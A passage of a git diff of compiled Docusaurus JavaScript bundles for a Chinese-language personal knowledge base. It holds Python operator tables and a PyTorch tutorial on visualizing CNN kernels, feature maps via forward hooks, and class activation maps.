True\u3002"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u4f4d\u8fd0\u7b97\u7b26",children:"\u4f4d\u8fd0\u7b97\u7b26"}),"\n",(0,s.jsx)(n.p,{children:"\u4f4d\u8fd0\u7b97\u7b26\u5bf9\u6574\u6570\u5728\u5185\u5b58\u4e2d\u7684\u4e8c\u8fdb\u5236\u4f4d\u8fdb\u884c\u64cd\u4f5c\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u8fd0\u7b97\u7b26"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"&"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u53c2\u4e0e\u8fd0\u7b97\u7684\u4e24\u6570\u5404\u5bf9\u5e94\u7684\u4e8c\u8fdb\u4f4d\u76f8\u4e0e\u3002 \uff08\u4e24\u4f4d\u5747\u4e3a1\u624d\u4e3a1\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"|"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u53c2\u4e0e\u8fd0\u7b97\u7684\u4e24\u6570\u5404\u5bf9\u5e94\u7684\u4e8c\u8fdb\u4f4d\u76f8\u6216\u3002 \uff08\u4e24\u4f4d\u6709\u4e00\u4e2a\u4e3a1\u5c31\u4e3a1\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"^"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u53c2\u4e0e\u8fd0\u7b97\u7684\u4e24\u6570\u5404\u5bf9\u5e94\u7684\u4e8c\u8fdb\u4f4d\u76f8\u5f02\u6216\uff0c\u5f53\u4e24\u5bf9\u5e94\u7684\u4e8c\u8fdb\u4f4d\u76f8\u5f02\u65f6\uff0c\u7ed3\u679c\u4e3a1\u3002 \uff08\u4e24\u4f4d\u4e0d\u4e00\u6837\u5219\u4e3a1\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:"<<"})}),(0,s.jsxs)(n.td,{style:{textAlign:"center"},children:["\u5de6\u79fbn\u4f4d\u5c31\u662f\u4e58\u4ee52\u7684n\u6b21\u65b9\u3002 ",(0,s.jsx)(n.code,{children:"a<>"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u53f3\u79fbn\u4f4d\u5c31\u662f\u9664\u4ee52\u7684n\u6b21\u65b9\u3002 \u201ca>>b\u201d\u662f\u628aa\u7684\u5404\u4e8c\u8fdb\u4f4d\u5168\u90e8\u53f3\u79fbb\u4f4d\u3002"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u8d4b\u503c\u8fd0\u7b97\u7b26",children:"\u8d4b\u503c\u8fd0\u7b97\u7b26"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u8fd0\u7b97\u7b26"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u7b80\u5355\u7684\u8d4b\u503c\u8fd0\u7b97\u7b26\uff0c\u5c06\u4e00\u4e2a\u8868\u8fbe\u5f0f\u7684\u503c\u8d4b\u7ed9\u4e00\u4e2a\u5de6\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"+="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u52a0\u540e\u518d\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"-="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u51cf\u540e\u518d\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"*="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u4e58\u540e\u518d\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"/="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u9664\u540e\u518d\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"%="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6c42\u4f59\u540e\u518d\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:"<<="})}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u5de6\u79fb\u540e\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:">>="})}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u53f3\u79fb\u540e\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"&="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6309\u4f4d\u4e0e\u540e\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"|="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6309\u4f4d\u6216\u540e\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"^="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6309\u4f4d\u5f02\u6216\u540e\u8d4b\u503c"})]})]})]})]})}function j(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>i,x:()=>d});var l=t(96540);const s={},r=l.createContext(s);function i(e){const n=l.useContext(r);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),l.createElement(r.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/897488f4.52155547.js b/en/assets/js/897488f4.52155547.js new file mode 100644 index 0000000..e2ddc61 --- /dev/null +++ b/en/assets/js/897488f4.52155547.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2297],{15159:(A,e,n)=>{n.r(e),n.d(e,{assets:()=>l,contentTitle:()=>r,default:()=>d,frontMatter:()=>s,metadata:()=>t,toc:()=>o});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","title":"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"},"next":{"title":"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}}');var a=n(74848),i=n(28453);const s={},r="7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md",l={},o=[{value:"7.2.1 CNN\u5377\u79ef\u6838\u53ef\u89c6\u5316",id:"721-cnn\u5377\u79ef\u6838\u53ef\u89c6\u5316",level:2},{value:"7.2.2 CNN\u7279\u5f81\u56fe\u53ef\u89c6\u5316\u65b9\u6cd5",id:"722-cnn\u7279\u5f81\u56fe\u53ef\u89c6\u5316\u65b9\u6cd5",level:2},{value:"7.2.3 CNN class activation map\u53ef\u89c6\u5316\u65b9\u6cd5",id:"723-cnn-class-activation-map\u53ef\u89c6\u5316\u65b9\u6cd5",level:2},{value:"7.2.4 \u4f7f\u7528FlashTorch\u5feb\u901f\u5b9e\u73b0CNN\u53ef\u89c6\u5316",id:"724-\u4f7f\u7528flashtorch\u5feb\u901f\u5b9e\u73b0cnn\u53ef\u89c6\u5316",level:2},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function g(A){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...A.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(e.header,{children:(0,a.jsx)(e.h1,{id:"72-cnn\u5377\u79ef\u5c42\u53ef\u89c6\u5316md",children:"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(e.table,{children:[(0,a.jsx)(e.thead,{children:(0,a.jsxs)(e.tr,{children:[(0,a.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(e.tbody,{children:(0,a.jsxs)(e.tr,{children:[(0,a.jsx)(e.td,{style:{textAlign:"left"},children:(0,a.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(e.table,{children:[(0,a.jsx)(e.thead,{children:(0,a.jsxs)(e.tr,{children:[(0,a.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(e.tbody,{children:(0,a.jsxs)(e.tr,{children:[(0,a.jsx)(e.td,{style:{textAlign:"left"},children:(0,a.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,a.jsx)(e.h1,{id:"72-cnn\u53ef\u89c6\u5316",children:"7.2 CNN\u53ef\u89c6\u5316"}),"\n",(0,a.jsx)(e.p,{children:"\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\uff08CNN\uff09\u662f\u6df1\u5ea6\u5b66\u4e60\u4e2d\u975e\u5e38\u91cd\u8981\u7684\u6a21\u578b\u7ed3\u6784\uff0c\u5b83\u5e7f\u6cdb\u5730\u7528\u4e8e\u56fe\u50cf\u5904\u7406\uff0c\u6781\u5927\u5730\u63d0\u5347\u4e86\u6a21\u578b\u8868\u73b0\uff0c\u63a8\u52a8\u4e86\u8ba1\u7b97\u673a\u89c6\u89c9\u7684\u53d1\u5c55\u548c\u8fdb\u6b65\u3002\u4f46CNN\u662f\u4e00\u4e2a\u201c\u9ed1\u76d2\u6a21\u578b\u201d\uff0c\u4eba\u4eec\u5e76\u4e0d\u77e5\u9053CNN\u662f\u5982\u4f55\u83b7\u5f97\u8f83\u597d\u8868\u73b0\u7684\uff0c\u7531\u6b64\u5e26\u6765\u4e86\u6df1\u5ea6\u5b66\u4e60\u7684\u53ef\u89e3\u91ca\u6027\u95ee\u9898\u3002\u5982\u679c\u80fd\u7406\u89e3CNN\u5de5\u4f5c\u7684\u65b9\u5f0f\uff0c\u4eba\u4eec\u4e0d\u4ec5\u80fd\u591f\u89e3\u91ca\u6240\u83b7\u5f97\u7684\u7ed3\u679c\uff0c\u63d0\u5347\u6a21\u578b\u7684\u9c81\u68d2\u6027\uff0c\u800c\u4e14\u8fd8\u80fd\u6709\u9488\u5bf9\u6027\u5730\u6539\u8fdbCNN\u7684\u7ed3\u6784\u4ee5\u83b7\u5f97\u8fdb\u4e00\u6b65\u7684\u6548\u679c\u63d0\u5347\u3002"}),"\n",(0,a.jsx)(e.p,{children:"\u7406\u89e3CNN\u7684\u91cd\u8981\u4e00\u6b65\u662f\u53ef\u89c6\u5316\uff0c\u5305\u62ec\u53ef\u89c6\u5316\u7279\u5f81\u662f\u5982\u4f55\u63d0\u53d6\u7684\u3001\u63d0\u53d6\u5230\u7684\u7279\u5f81\u7684\u5f62\u5f0f\u4ee5\u53ca\u6a21\u578b\u5728\u8f93\u5165\u6570\u636e\u4e0a\u7684\u5173\u6ce8\u70b9\u7b49\u3002\u672c\u8282\u6211\u4eec\u5c31\u4ece\u4e0a\u8ff0\u4e09\u4e2a\u65b9\u9762\u51fa\u53d1\uff0c\u4ecb\u7ecd\u5982\u4f55\u5728PyTorch\u7684\u6846\u67b6\u4e0b\u5b8c\u6210CNN\u6a21\u578b\u7684\u53ef\u89c6\u5316\u3002"}),"\n",(0,a.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u53ef\u89c6\u5316CNN\u5377\u79ef\u6838\u7684\u65b9\u6cd5"}),"\n",(0,a.jsx)(e.li,{children:"\u53ef\u89c6\u5316CNN\u7279\u5f81\u56fe\u7684\u65b9\u6cd5"}),"\n",(0,a.jsx)(e.li,{children:"\u53ef\u89c6\u5316CNN\u663e\u8457\u56fe\uff08class activation map\uff09\u7684\u65b9\u6cd5"}),"\n"]}),"\n",(0,a.jsx)(e.h2,{id:"721-cnn\u5377\u79ef\u6838\u53ef\u89c6\u5316",children:"7.2.1 CNN\u5377\u79ef\u6838\u53ef\u89c6\u5316"}),"\n",(0,a.jsxs)(e.p,{children:["\u5377\u79ef\u6838\u5728CNN\u4e2d\u8d1f\u8d23\u63d0\u53d6\u7279\u5f81\uff0c\u53ef\u89c6\u5316\u5377\u79ef\u6838\u80fd\u591f\u5e2e\u52a9\u4eba\u4eec\u7406\u89e3CNN\u5404\u4e2a\u5c42\u5728\u63d0\u53d6\u4ec0\u4e48\u6837\u7684\u7279\u5f81\uff0c\u8fdb\u800c\u7406\u89e3\u6a21\u578b\u7684\u5de5\u4f5c\u539f\u7406\u3002\u4f8b\u5982\u5728Zeiler\u548cFergus 2013\u5e74\u7684",(0,a.jsx)(e.a,{href:"https://arxiv.org/pdf/1311.2901.pdf",children:"paper"}),"\u4e2d\u5c31\u7814\u7a76\u4e86CNN\u5404\u4e2a\u5c42\u7684\u5377\u79ef\u6838\u7684\u4e0d\u540c\uff0c\u4ed6\u4eec\u53d1\u73b0\u9760\u8fd1\u8f93\u5165\u7684\u5c42\u63d0\u53d6\u7684\u7279\u5f81\u662f\u76f8\u5bf9\u7b80\u5355\u7684\u7ed3\u6784\uff0c\u800c\u9760\u8fd1\u8f93\u51fa\u7684\u5c42\u63d0\u53d6\u7684\u7279\u5f81\u5c31\u548c\u56fe\u4e2d\u7684\u5b9e\u4f53\u5f62\u72b6\u76f8\u8fd1\u4e86\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"]}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"layer2",src:n(68512).A+"",width:"1888",height:"922"})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"layer3",src:n(23337).A+"",width:"2294",height:"848"})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"layer4",src:n(23510).A+"",width:"469",height:"587"})}),"\n",(0,a.jsx)(e.p,{children:"\u5728PyTorch\u4e2d\u53ef\u89c6\u5316\u5377\u79ef\u6838\u4e5f\u975e\u5e38\u65b9\u4fbf\uff0c\u6838\u5fc3\u5728\u4e8e\u7279\u5b9a\u5c42\u7684\u5377\u79ef\u6838\u5373\u7279\u5b9a\u5c42\u7684\u6a21\u578b\u6743\u91cd\uff0c\u53ef\u89c6\u5316\u5377\u79ef\u6838\u5c31\u7b49\u4ef7\u4e8e\u53ef\u89c6\u5316\u5bf9\u5e94\u7684\u6743\u91cd\u77e9\u9635\u3002\u4e0b\u9762\u7ed9\u51fa\u5728PyTorch\u4e2d\u53ef\u89c6\u5316\u5377\u79ef\u6838\u7684\u5b9e\u73b0\u65b9\u6848\uff0c\u4ee5torchvision\u81ea\u5e26\u7684VGG11\u6a21\u578b\u4e3a\u4f8b\u3002"}),"\n",(0,a.jsx)(e.p,{children:"\u9996\u5148\u52a0\u8f7d\u6a21\u578b\uff0c\u5e76\u786e\u5b9a\u6a21\u578b\u7684\u5c42\u4fe1\u606f\uff1a"}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torchvision.models import vgg11\n\nmodel = vgg11(pretrained=True)\nprint(dict(model.features.named_children()))\n"})}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"{'0': Conv2d(3, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '1': ReLU(inplace=True),\n '2': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),\n '3': Conv2d(64, 128, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '4': ReLU(inplace=True),\n '5': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),\n '6': Conv2d(128, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '7': ReLU(inplace=True),\n '8': Conv2d(256, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '9': ReLU(inplace=True),\n '10': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),\n '11': Conv2d(256, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '12': ReLU(inplace=True),\n '13': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '14': ReLU(inplace=True),\n '15': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),\n '16': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '17': ReLU(inplace=True),\n '18': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '19': ReLU(inplace=True),\n '20': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)}\n"})}),"\n",(0,a.jsx)(e.p,{children:"\u5377\u79ef\u6838\u5bf9\u5e94\u7684\u5e94\u4e3a\u5377\u79ef\u5c42\uff08Conv2d\uff09\uff0c\u8fd9\u91cc\u4ee5\u7b2c\u201c3\u201d\u5c42\u4e3a\u4f8b\uff0c\u53ef\u89c6\u5316\u5bf9\u5e94\u7684\u53c2\u6570\uff1a"}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"conv1 = dict(model.features.named_children())['3']\nkernel_set = conv1.weight.detach()\nnum = len(conv1.weight.detach())\nprint(kernel_set.shape)\nfor i in range(0,num):\n i_kernel = kernel_set[i]\n plt.figure(figsize=(20, 17))\n if (len(i_kernel)) > 1:\n for idx, filer in enumerate(i_kernel):\n plt.subplot(9, 9, idx+1) \n plt.axis('off')\n plt.imshow(filer[ :, :].detach(),cmap='bwr')\n"})}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{children:"torch.Size([128, 64, 3, 3])\n"})}),"\n",(0,a.jsx)(e.p,{children:"\u7531\u4e8e\u7b2c\u201c3\u201d\u5c42\u7684\u7279\u5f81\u56fe\u753164\u7ef4\u53d8\u4e3a128\u7ef4\uff0c\u56e0\u6b64\u5171\u6709128*64\u4e2a\u5377\u79ef\u6838\uff0c\u5176\u4e2d\u90e8\u5206\u5377\u79ef\u6838\u53ef\u89c6\u5316\u6548\u679c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"kernel",src:n(87343).A+"",width:"1121",height:"837"})}),"\n",(0,a.jsx)(e.h2,{id:"722-cnn\u7279\u5f81\u56fe\u53ef\u89c6\u5316\u65b9\u6cd5",children:"7.2.2 CNN\u7279\u5f81\u56fe\u53ef\u89c6\u5316\u65b9\u6cd5"}),"\n",(0,a.jsx)(e.p,{children:"\u4e0e\u5377\u79ef\u6838\u76f8\u5bf9\u5e94\uff0c\u8f93\u5165\u7684\u539f\u59cb\u56fe\u50cf\u7ecf\u8fc7\u6bcf\u6b21\u5377\u79ef\u5c42\u5f97\u5230\u7684\u6570\u636e\u79f0\u4e3a\u7279\u5f81\u56fe\uff0c\u53ef\u89c6\u5316\u5377\u79ef\u6838\u662f\u4e3a\u4e86\u770b\u6a21\u578b\u63d0\u53d6\u54ea\u4e9b\u7279\u5f81\uff0c\u53ef\u89c6\u5316\u7279\u5f81\u56fe\u5219\u662f\u4e3a\u4e86\u770b\u6a21\u578b\u63d0\u53d6\u5230\u7684\u7279\u5f81\u662f\u4ec0\u4e48\u6837\u5b50\u7684\u3002"}),"\n",(0,a.jsx)(e.p,{children:"\u83b7\u53d6\u7279\u5f81\u56fe\u7684\u65b9\u6cd5\u6709\u5f88\u591a\u79cd\uff0c\u53ef\u4ee5\u4ece\u8f93\u5165\u5f00\u59cb\uff0c\u9010\u5c42\u505a\u524d\u5411\u4f20\u64ad\uff0c\u76f4\u5230\u60f3\u8981\u7684\u7279\u5f81\u56fe\u5904\u5c06\u5176\u8fd4\u56de\u3002\u5c3d\u7ba1\u8fd9\u79cd\u65b9\u6cd5\u53ef\u884c\uff0c\u4f46\u662f\u6709\u4e9b\u9ebb\u70e6\u4e86\u3002\u5728PyTorch\u4e2d\uff0c\u63d0\u4f9b\u4e86\u4e00\u4e2a\u4e13\u7528\u7684\u63a5\u53e3\u4f7f\u5f97\u7f51\u7edc\u5728\u524d\u5411\u4f20\u64ad\u8fc7\u7a0b\u4e2d\u80fd\u591f\u83b7\u53d6\u5230\u7279\u5f81\u56fe\uff0c\u8fd9\u4e2a\u63a5\u53e3\u7684\u540d\u79f0\u975e\u5e38\u5f62\u8c61\uff0c\u53eb\u505ahook\u3002\u53ef\u4ee5\u60f3\u8c61\u8fd9\u6837\u7684\u573a\u666f\uff0c\u6570\u636e\u901a\u8fc7\u7f51\u7edc\u5411\u524d\u4f20\u64ad\uff0c\u7f51\u7edc\u67d0\u4e00\u5c42\u6211\u4eec\u9884\u5148\u8bbe\u7f6e\u4e86\u4e00\u4e2a\u94a9\u5b50\uff0c\u6570\u636e\u4f20\u64ad\u8fc7\u540e\u94a9\u5b50\u4e0a\u4f1a\u7559\u4e0b\u6570\u636e\u5728\u8fd9\u4e00\u5c42\u7684\u6837\u5b50\uff0c\u8bfb\u53d6\u94a9\u5b50\u7684\u4fe1\u606f\u5c31\u662f\u8fd9\u4e00\u5c42\u7684\u7279\u5f81\u56fe\u3002\u5177\u4f53\u5b9e\u73b0\u5982\u4e0b\uff1a"}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"class Hook(object):\n def __init__(self):\n self.module_name = []\n self.features_in_hook = []\n self.features_out_hook = []\n\n def __call__(self,module, fea_in, fea_out):\n print(\"hooker working\", self)\n self.module_name.append(module.__class__)\n self.features_in_hook.append(fea_in)\n self.features_out_hook.append(fea_out)\n return None\n \n\ndef plot_feature(model, idx, inputs):\n hh = Hook()\n model.features[idx].register_forward_hook(hh)\n \n # forward_model(model,False)\n model.eval()\n _ = model(inputs)\n print(hh.module_name)\n print((hh.features_in_hook[0][0].shape))\n print((hh.features_out_hook[0].shape))\n \n out1 = hh.features_out_hook[0]\n\n total_ft = out1.shape[1]\n first_item = out1[0].cpu().clone() \n\n plt.figure(figsize=(20, 17))\n \n\n for ftidx in range(total_ft):\n if ftidx > 99:\n break\n ft = first_item[ftidx]\n plt.subplot(10, 10, ftidx+1) \n \n plt.axis('off')\n #plt.imshow(ft[ :, :].detach(),cmap='gray')\n plt.imshow(ft[ :, :].detach())\n"})}),"\n",(0,a.jsx)(e.p,{children:"\u8fd9\u91cc\u6211\u4eec\u9996\u5148\u5b9e\u73b0\u4e86\u4e00\u4e2ahook\u7c7b\uff0c\u4e4b\u540e\u5728plot_feature\u51fd\u6570\u4e2d\uff0c\u5c06\u8be5hook\u7c7b\u7684\u5bf9\u8c61\u6ce8\u518c\u5230\u8981\u8fdb\u884c\u53ef\u89c6\u5316\u7684\u7f51\u7edc\u7684\u67d0\u5c42\u4e2d\u3002model\u5728\u8fdb\u884c\u524d\u5411\u4f20\u64ad\u7684\u65f6\u5019\u4f1a\u8c03\u7528hook\u7684__call__\u51fd\u6570\uff0c\u6211\u4eec\u4e5f\u5c31\u662f\u5728\u90a3\u91cc\u5b58\u50a8\u4e86\u5f53\u524d\u5c42\u7684\u8f93\u5165\u548c\u8f93\u51fa\u3002\u8fd9\u91cc\u7684features_out_hook \u662f\u4e00\u4e2alist\uff0c\u6bcf\u6b21\u524d\u5411\u4f20\u64ad\u4e00\u6b21\uff0c\u90fd\u662f\u8c03\u7528\u4e00\u6b21\uff0c\u4e5f\u5c31\u662ffeatures_out_hook \u957f\u5ea6\u4f1a\u589e\u52a01\u3002"}),"\n",(0,a.jsx)(e.h2,{id:"723-cnn-class-activation-map\u53ef\u89c6\u5316\u65b9\u6cd5",children:"7.2.3 CNN class activation map\u53ef\u89c6\u5316\u65b9\u6cd5"}),"\n",(0,a.jsx)(e.p,{children:"class activation map \uff08CAM\uff09\u7684\u4f5c\u7528\u662f\u5224\u65ad\u54ea\u4e9b\u53d8\u91cf\u5bf9\u6a21\u578b\u6765\u8bf4\u662f\u91cd\u8981\u7684\uff0c\u5728CNN\u53ef\u89c6\u5316\u7684\u573a\u666f\u4e0b\uff0c\u5373\u5224\u65ad\u56fe\u50cf\u4e2d\u54ea\u4e9b\u50cf\u7d20\u70b9\u5bf9\u9884\u6d4b\u7ed3\u679c\u662f\u91cd\u8981\u7684\u3002\u9664\u4e86\u786e\u5b9a\u91cd\u8981\u7684\u50cf\u7d20\u70b9\uff0c\u4eba\u4eec\u4e5f\u4f1a\u5bf9\u91cd\u8981\u533a\u57df\u7684\u68af\u5ea6\u611f\u5174\u8da3\uff0c\u56e0\u6b64\u5728CAM\u7684\u57fa\u7840\u4e0a\u4e5f\u8fdb\u4e00\u6b65\u6539\u8fdb\u5f97\u5230\u4e86Grad-CAM\uff08\u4ee5\u53ca\u8bf8\u591a\u53d8\u79cd\uff09\u3002CAM\u548cGrad-CAM\u7684\u793a\u4f8b\u5982\u4e0b\u56fe\u6240\u793a\uff1a"}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"cam",src:n(20514).A+"",width:"834",height:"360"})}),"\n",(0,a.jsx)(e.p,{children:"\u76f8\u6bd4\u53ef\u89c6\u5316\u5377\u79ef\u6838\u4e0e\u53ef\u89c6\u5316\u7279\u5f81\u56fe\uff0cCAM\u7cfb\u5217\u53ef\u89c6\u5316\